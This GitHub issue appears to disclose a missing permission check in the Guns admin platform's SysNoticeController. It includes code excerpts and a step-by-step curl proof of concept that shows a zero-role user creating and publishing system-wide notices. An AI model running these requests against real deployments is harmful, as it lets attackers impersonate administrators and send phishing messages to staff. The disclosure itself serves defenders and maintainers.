Skip to content

Missing permission check on SysNoticeController allows any authenticated user to create and publish system-wide notices #119

Description

@geo-chen

Package: com.javaguns.roses:system-business-portal (roses kernel, bundled in Guns)

Affected Versions: <= 8.3.5

Summary

The Guns admin platform (v8.3.5) ships a system-notice management controller (SysNoticeController) that lacks requiredPermission = true on all its actions, including create (/sysNotice/add), edit (/sysNotice/edit), delete (/sysNotice/delete), and publish (/sysNotice/publishNotice). Any low-privilege authenticated user -- including one with zero assigned roles -- can create and immediately publish system-wide announcements to any user or department in the organization. A neighboring controller (SysMenuController) that handles equivalent CRUD operations correctly applies requiredPermission = true and rejects the same caller with B0309.

Details

Root cause -- @ApiResource annotation missing requiredPermission = true in SysNoticeController.java:

File: cn.stylefeng.roses.kernel.sys.modular.notice.controller.SysNoticeController (system-business-portal-8.3.5.jar)

// VULNERABLE -- class-level annotation, no requiredPermission = true
@RestController
@ApiResource(name = "通知管理")  // requiredPermission defaults to false
public class SysNoticeController {

    @PostResource(name = "添加通知管理", path = "/sysNotice/add")
    public ResponseData<SysNotice> add(...) { ... }

    @PostResource(name = "删除通知管理", path = "/sysNotice/delete")
    public ResponseData<?> delete(...) { ... }

    @PostResource(name = "批量删除通知管理", path = "/sysNotice/batchDelete")
    public ResponseData<?> batchDelete(...) { ... }

    @PostResource(name = "编辑通知管理", path = "/sysNotice/edit")
    public ResponseData<?> edit(...) { ... }

    @PostResource(name = "发送通知", path = "/sysNotice/publishNotice")
    public ResponseData<?> publishNotice(...) { ... }

    @PostResource(name = "撤回通知", path = "/sysNotice/retractNotice")
    public ResponseData<?> retractNotice(...) { ... }
}

Gated sibling for contrast (SysMenuController):

// CORRECTLY GATED
@ApiResource(name = "菜单管理界面的接口", requiredPermission = true,
        requirePermissionCode = PermissionCodeConstants.AUTH_MENU)
public class SysMenuController { ... }

The TokenAndPermissionInterceptor only calls permissionServiceApi.checkPermission() when requiredPermissionFlag is true. Because SysNoticeController never sets this flag, any valid login token bypasses the RBAC check for all notice operations.

Interceptor excerpt (TokenAndPermissionInterceptor.java line 110):

if (resourceDefinition.getRequiredPermissionFlag()) {
    if (StrUtil.isEmpty(token)) {
        throw new AuthException(AuthExceptionEnum.TOKEN_GET_ERROR);
    }
    permissionServiceApi.checkPermission(token, requestURI);
}

PoC

Prerequisites: a running Guns 8.3.5 instance. A low-privilege account (zero roles) obtained via registration or admin creation.

Step 1 -- Obtain a low-privilege token:

curl -s -X POST 'http://TARGET:PORT/loginApi' \
  -H 'Content-Type: application/json' \
  -d '{"account":"testuser001","password":"123456"}'
# Response contains: "token": "<LOW_PRIV_TOKEN>"

Step 2 -- Confirm that a gated sibling is properly denied:

curl -s -X POST 'http://TARGET:PORT/sysMenu/add' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: <LOW_PRIV_TOKEN>' \
  -d '{"menuName":"test","menuCode":"test","appId":"1671406745336016898","menuType":1,"menuSort":100}'
# Response (permission denied):
# {"code":"B0309","message":"权限校验失败,请检查用户是否有该资源的权限","success":false}

Step 3 -- Create a notice as low-priv user (should be denied, but succeeds):

curl -s -X POST 'http://TARGET:PORT/sysNotice/add' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: <LOW_PRIV_TOKEN>' \
  -d '{
    "noticeTitle": "Unauthorized Notice",
    "noticeContent": "Created by low-priv user without permission",
    "priorityLevel": "high",
    "noticeUserScope": {
      "pointUserList": [{"id": "<any_user_id>", "name": "admin"}],
      "pointOrgList": []
    }
  }'
# Response (HTTP 200, unexpected success):
# {"success":true,"code":"00000","message":"请求成功","data":null}

Step 4 -- Publish the created notice to targeted users:

# Retrieve the new notice ID:
curl -s 'http://TARGET:PORT/sysNotice/page' \
  -H 'Authorization: <LOW_PRIV_TOKEN>'
# Locate the noticeId in the response

curl -s -X POST 'http://TARGET:PORT/sysNotice/publishNotice' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: <LOW_PRIV_TOKEN>' \
  -d '{"noticeId": "<NOTICE_ID>"}'
# Response (HTTP 200, unexpected success):
# {"success":true,"code":"00000","message":"请求成功","data":null}

Live run confirmed: notice noticeId=2067566786032033794 was created and published by userId=2067566382338662402 (testuser001, no roles). The createUser field in the listing showed the low-priv user as author.

Impact

An attacker with any valid login session can create and publish system-wide announcements targeting arbitrary users or departments, edit or delete existing admin-authored notices, and retract legitimate notices. This enables social-engineering attacks (phishing via in-app messages), disruption of internal communication, and impersonation of administrative announcements. Write access to the notice system represents a meaningful integrity violation in any enterprise deployment of Guns.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions